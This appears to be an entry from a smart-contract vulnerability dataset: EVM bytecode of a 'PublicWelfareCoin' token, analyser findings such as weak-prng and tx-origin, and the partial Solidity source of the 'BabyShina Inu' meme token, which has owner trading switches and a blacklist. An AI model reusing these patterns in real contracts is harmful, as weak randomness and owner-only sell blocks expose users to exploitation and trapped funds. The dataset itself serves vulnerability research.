5b94505b6112e660105486613b0c90919063ffffffff16565b94506113156201869f611307620186a0601054613b5d90919063ffffffff16565b613b2a90919063ffffffff16565b601081905550600d54851115151561132c57600080fd5b6113368486613b78565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f1935050505015801561139e573d6000803e3d6000fd5b506116b4565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915060008214156114665760001515601160019054906101000a900460ff1615151480156114165750600d5460105411155b151561142157600080fd5b61144e6201869f611440620186a0601054613b5d90919063ffffffff16565b613b2a90919063ffffffff16565b60108190555061146084601054613b78565b506116b3565b60001515601160049054906101000a900460ff16151514151561148857600080fd5b61149f601054600b54613b0c90919063ffffffff16565b600b81905550600a6064600b548115156114b557fe5b0640600b54866040516020018084600019166000191681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140193505050506040516020818303038152906040526040518082805190602001908083835b602083101515611560578051825260208201915060208101905060208303925061153b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206001900481151561159a57fe5b0690506115b281600b54613b0c90919063ffffffff16565b600b8190555060048111156115d1576115cb8483613b78565b506116b2565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162b82600d54613b0c90919063ffffffff16565b600d8190555061164682600e54613cf490919063ffffffff16565b600e819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5b5b600954600e541015156116dd576001601160006101000a81548160ff0219169083151502179055505b505050505050565b60606040805190810160405280601181526020017f5075626c696357656c66617265436f696e000000000000000000000000000000815250905090565b60105481565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561187757600080fd5b8360108190555082600f8190555081600a81905550600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f457600080fd5b601160009054906101000a900460ff1615151561191057600080fd5b6000601160026101000a81548160ff0219169083151502179055506001905090565b6000600954905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199957600080fd5b601160009054906101000a900460ff161515156119b557600080fd5b6000601160016101000a81548160ff0219169083151502179055506001905090565b600060011515601160039054906101000a900460ff1615151415156119fb57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611a5a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a975750600082115b8015611ae2575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611b6a575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611bc6575060001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611c22575060001515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611c6c5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015611cb65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515611cc157600080fd5b611d1382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cf490919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611da882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b0c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cf490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc757600080fd5b60068390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190612080929190613d0d565b506001905092915050565b60006008905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120f157600080fd5b6001601160046101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156121be57600080fd5b33905061221382600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cf490919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226b82600954613cf490919063ffffffff16565b60098190555061228682600e54613cf490919063ffffffff16565b600e819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561233b57600080fd5b60ff82511115151561234c57600080fd5b600090505b81518160ff1610156123dc57600160036000848460ff1681518110151561237457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612351565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561243d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561249757600080fd5b5050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124fe57600080fd5b60008351118015612510575081518351145b151561251b57600080fd5b600090505b825181101561269f57818181518110151561253757fe5b9060200190602002015160056000858481518110151561255357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156125a457600080fd5b81818151811015156125b257fe5b906020019060200201516005600085848151811015156125ce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561262457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561267357fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050612520565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126ff57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561274d57600080fd5b61279f81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cf490919063ffffffff16565b506127b581600d54613b0c90919063ffffffff16565b600d819055506127d081600e54613cf490919063ffffffff16565b600e819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128e457600080fd5b601160009054906101000a900460ff1615151561290057600080fd5b6001601160016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561297f57600080fd5b6001601160036101000a81548160ff0219169083151502179055506001905090565b60606040805190810160405280600381526020017f5057430000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a3b57600080fd5b601160009054906101000a900460ff16151515612a5757600080fd5b6001601160006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ad657600080fd5b60ff825111151515612ae757600080fd5b600090505b81518160ff161015612b7757600060036000848460ff16815181101515612b0f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612aec565b5050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612bdb57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612c7957600080fd5b505af1158015612c8d573d6000803e3d6000fd5b505050506040513d6020811015612ca357600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612d7a57600080fd5b505af1158015612d8e573d6000803e3d6000fd5b505050506040513d6020811015612da457600080fd5b810190808051906020019092919050505092505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e1957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612e9057806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ef057600080fd5b601160009054906101000a900460ff16151515612f0c57600080fd5b60ff835111151515612f1d57600080fd5b81518351141515612f2d57600080fd5b600090505b82518160ff161015612fde57600d54828260ff16815181101515612f5257fe5b9060200190602002015111151515612f6957600080fd5b612fa7838260ff16815181101515612f7d57fe5b90602001906020020151838360ff16815181101515612f9857fe5b90602001906020020151613b78565b50600954600e54101515612fd1576001601160006101000a81548160ff0219169083151502179055505b8080600101915050612f32565b505050565b6000604060048101600036905010151515612ffa57fe5b60011515601160039054906101000a900460ff16151514151561301c57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561307b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156130f75750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311155b8015613153575060001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156131af575060001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156131f95750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b80156132435750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561324e57600080fd5b6132a083600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613cf490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b0c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6060600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134bd5780601f10613492576101008083540402835291602001916134bd565b820191906000526020600020905b8154815290600101906020018083116134a057829003601f168201915b50505050509050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561356c57600080fd5b601160009054906101000a900460ff1615151561358857600080fd5b6001601160026101000a81548160ff0219169083151502179055506001905090565b60006006828154811015156135bb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561364a57600080fd5b6000835111151561365a57600080fd5b600090505b8251811015613789576000838281518110151561367857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16141515156136a557600080fd5b816004600085848151811015156136b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110151561372157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2808060010191505061365f565b505050565b60056020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561380357600080fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561390f57600080fd5b6000601160036101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561398e57600080fd5b6000601160046101000a81548160ff0219169083151502179055506001905090565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a1357600080fd5b601160009054906101000a900460ff16151515613a2f57600080fd5b60ff835111151515613a4057600080fd5b600d548211151515613a5157600080fd5b600090505b82518160ff161015613aa557600d548211151515613a7357600080fd5b613a97838260ff16815181101515613a8757fe5b9060200190602002015183613b78565b508080600101915050613a56565b600954600e54101515613ace576001601160006101000a81548160ff0219169083151502179055505b505050565b600f5481565b60036020528060005260406000206000915054906101000a900460ff1681565b600080823b905060008111915050919050565b6000808284019050838110151515613b2057fe5b8091505092915050565b60008082840290506000841480613b4b5750828482811515613b4857fe5b04145b1515613b5357fe5b8091505092915050565b6000808284811515613b6b57fe5b0490508091505092915050565b6000601160009054906101000a900460ff16151515613b9657600080fd5b6000600d5410151515613ba857600080fd5b600d548211151515613bb957600080fd5b613bce82600e54613b0c90919063ffffffff16565b600e81905550613be982600d54613cf490919063ffffffff16565b600d81905550613c4182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b0c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515613d0257fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613d4e57805160ff1916838001178555613d7c565b82800160010185558215613d7c579182015b82811115613d7b578251825591602001919060010190613d60565b5b509050613d899190613d8d565b5090565b613daf91905b80821115613dab576000816000905550600101613d93565b5090565b905600a165627a7a72305820f73d2d904fb55375c06b6cc49dfe1c378fa198c5c2fecac4130c9826a6c7facf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,364 |
0x7c5e6fca1673e2ce8bd40a3d2c8c80c6d19d21a6
|
/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
// SPDX-License-Identifier: Unlicensed
//$Shina Inu has made a massive X in gloomy market yesterday!
//$Babyshi is gonna keep it shiny now and forever! Let's rock!
//We will launch as stealthily as $Shina Inu, and list on Dextools trending when you least expect it!
//For any social medias, find them yourself
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract babyshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyShina Inu";
string private constant _symbol = "BABYSHI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 20000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x150A20E98ca63f69aC58e595e110Bf960fB1a1BD);
address payable private _marketingAddress = payable(0x150A20E98ca63f69aC58e595e110Bf960fB1a1BD);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000001 * 10**9;
uint256 public _maxWalletSize = 200000000001 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
